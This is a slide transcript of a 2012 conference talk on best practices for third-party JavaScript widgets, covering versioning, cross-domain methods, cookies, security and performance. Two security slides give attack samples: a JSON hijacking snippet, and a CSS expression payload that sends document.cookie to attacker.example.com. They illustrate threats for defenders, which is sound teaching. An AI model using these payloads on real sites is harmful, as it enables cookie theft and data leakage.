JavaScript Widget Development Best Practices

0368b95a18e594981083b2eb9b177b2d?s=47 volkan
July 29, 2012

JavaScript Widget Development Best Practices

Developing JavaScript widgets to be consumed by external websites has many challenges.
This talk addresses most of them, and gives options and strategies to overcome those challenges.

0368b95a18e594981083b2eb9b177b2d?s=128

volkan

July 29, 2012
Tweet

Transcript

  1. JavaScript Widget Development Best Practices Volkan  Özçelik volkan@o2js.com 2012-­‐‑07-­‐‑29  @

     jstanbul   h?p://jstanbul.org/2012     Thursday, October 3, 13
  2. Who am I? • CTO,  cember.net  (%100  acquired  by  Xing

     AG;  RIP) • Project  Director,  livego.com  (gone  to  deadpool,  RIP) • CO-­‐‑VP  of  Technology,  grou.ps  (  hJp://grou.ps/  ) • JavaScript  Engineer,  SocialWire  (  hJp://socialwire.com/  ) • J4V45cR1p7  h4x0R,  o2.js,  (  hJp://o2js.com/  ) Thursday, October 3, 13
  3. Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan •

    http://twitter.com/linkibol • http://linkd.in/v0lkan Thursday, October 3, 13
  4. Outline • What  is  a  Widget?  /  Types  of  Widgets

    • Challenges  Involved • Versioning • You  are  not  the  host,  you  are  the  thief. • Shared  Environment • Bumping  the  Cross-­‐‑Domain  Wall • Not  Your  Grandma’s  Cookies • Security • Performance • Questions Thursday, October 3, 13
  5. tar -zxvf 30Min.gz hJp://bit.ly/js-­‐‑widget (work  in  progress) Thursday, October 3,

    13
  6. tar -zxvf 30Min.gz https://github.com/v0lkan/o2.js/ tree/master/examples/widget-demo Thursday, October 3, 13

  7. What is a Widget? • A  Distributed  Plugin • Source

     Site  (  widget  provider  ) • Consumer  Sites  (  publishers  ) • Can  have  a  GUI  (  weather  forecast  ) • May  not  have  GUI  too  (  analytics,  statistics  ) • Can  be  Stateful • Can  be  Stateless Thursday, October 3, 13
  8. Versioning Hassle • Types  of  Versioning: • URL  Versioning •

    Version  Number  as  an  Init  Parameter • If  it  ain’t  broke,  they  won’t  fix  it. • When’s  the  last  time  you  updated  that  Wordpress  theme? • Nobody  will  change  that  darn  version  number! Thursday, October 3, 13
  9. Versioning Hassle • google‘s  ga.js  à2  hour  cache  time; •

    Facebook‘s  all.js  à 15  minute  cache  time; • twi?er‘s  widgets.js  à 30  minute  cache  time. What  part  of   “Far  Future  Expires  Header”   don’t  you  understand?! Thursday, October 3, 13
  10. Versioning Hassle • Far  Future  Expires  Header • Self  Cache-­‐‑Revalidating

     Scripts: • A  Bootloader  Script • A  JavaScript  Beacon:   • Returns  204  No  Content  if  versions  match, • Returns  an  auto-­‐‑loader  if  versions  do  not  match. • Iframe  Refresh • window.location.reload(true) Thursday, October 3, 13
  11. Widget Initialization Flow Thursday, October 3, 13

  12. Act, but don’t be Seen • You  don’t  own  publisher’s

     DOM. • Leave  minimal  trace  behind. • Do  not  slow  down  publisher. • Do  not  pollute  global  namespace. Thursday, October 3, 13
  13. Act, but don’t be Seen • Do  not  extend  Object.prototype

     or  Function.prototype. • Show  love  to  the  Module  Pa?ern. • Do  not  slow  down  publisher: • Async  initialization, • Lazy  Load. • Do  not  slow  down  yourself: • Native  is  faster, • Use  IDs  everywhere. Thursday, October 3, 13
  14. Environment is Shared • Prefix  everything. • I  mean…  everything!

    Thursday, October 3, 13
  15. Environment is Shared Thursday, October 3, 13

  16. Cross Domain Boundary • Modern  Methods • CORS • HTML5

     window.postMessage  API • Hacks • Flash  Proxy • Hash  Fragment  Transport • window.name  Transport • Iframe  inside  an  Iframe  (klein  boJle) • Use  Publisher’s  Server  as  a  Proxy • JSON  with  Padding Thursday, October 3, 13
  17. Third Party Cookies • Can  be  disabled  by  default. •

    Users  may  explicitly  disable  them. • Ad  blocker  browser  plugins  may  disable  them. • You  cannot  rely  on  their  existence. Thursday, October 3, 13
  18. Third Party Cookies • Meaning  of  “disabled”  varies  too •

    Firefox  &  Opera: • Server  cannot  read,  client  cannot  write • We’re  tossed!  (or  are  we?) • IE: • Server  can  read,  client  cannot  write • Webkit  (Chrome  &  Safari): • Server  can  read,   • client  can  “kinda”  write  (iframe  post  hack) Thursday, October 3, 13
  19. Third Party Cookies • Check  for  3rd  Party  Cookie  Support

     First • Don’t  jump  straight  into  hacks. • External  Windows  as  a  Rescue • A  pop-­‐‑up  is  considered  “first  party” • What  about  Opera  &  Firefox  ? • Store  session  ID  as  a  variable. • Pass  to  the  server  at  each  request. • Do  not  store  on  publisher’s  page! • Use  an  IFRAME  on  API  domain  for  security. Thursday, October 3, 13
  20. Widget Security • Bo?om  Line  Up  Front • Sanitize  everything.

    • First  deny  everything,  then  whitelist  known  good. • Check  referrers,  have  a  list  of  trusted  domains. • Do  not  trust  anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone(); Thursday, October 3, 13
  21. Widget Security • XSS • Sanitize  everything. • Escape  <

     >  ;  ,  ‘  “  into  HTML  entities. • CSRF • Use  a  CSRF  token. • Denial  of  Service • Subdomains  per  publisher  (  publisher1.api.example.com  ). • ThroJle  suspicious  requests  per  subdomain. • Best  handled  on  network  /  hardware  layer. • Session  Hijacking • …  is  a  reality. • The  only  reasonable  protection  is  HTTPS. • Use  Multi-­‐‑Level  Authentication. Thursday, October 3, 13
  22. Widget Security (lesser known) JSON Hijacking <script> var captured =

    []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script> Thursday, October 3, 13
  23. Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor =

    '#000;x:expression(var i = new Image;\ i.src="http://attacker.example.com/?" + document.cookie);'; Thursday, October 3, 13
  24. Widget Security (lesser known) Clickjacking • Invisible  IFRAME  positioned  on

     a  UI  element. Remedy: • Framekiller  scripts • X-­‐‑Frame-­‐‑Options  header • Request  confirmation  for  sensitive  actions • Register  all  your  publishers Thursday, October 3, 13
  25. Widget Performance • Minimize  Initial  Payload: • Tiny  boot  loader,

     then  load  dependencies. • Lazy  load  when  possible. • Combine  and  Minify  Assets. • Use  CSS  Sprites. • Defer  images  (use  a  default  image,  then  load   original). • Minimize  #  of  HTTP  Requests. Thursday, October 3, 13
  26. Widget Performance • Minimize  Repaint  and  Reflow. • Rate-­‐‑limit  Server

     Requests  (thro?le,  debounce). • Yield  with  setTimeout(fn,  0). • Chunk  large  arrays  of  instructions. • Improve  Perceived  Performance: • Be  an  optimist:  act,  then  verify. Thursday, October 3, 13
  27. Widget Performance • Do  not  micro-­‐‑optimize,   • Do  not

     optimize  prematurely,   • Optimizing  without  measurement  is  misleading, • It’s  hard  to  measure  a  third  party  widget’s  performance. • A  lot  of  moving  parts  involved. • Tools  like  jsperf.com  will  not  be  of  much  use. • Do  not  use  your  8GB  Ram  +  SSD  MacBook  for  profiling. • Test  on  an  low-­‐‑grade  machine. • Do  not  forget  mobile! Thursday, October 3, 13
  28. Thank You! Questions? Thursday, October 3, 13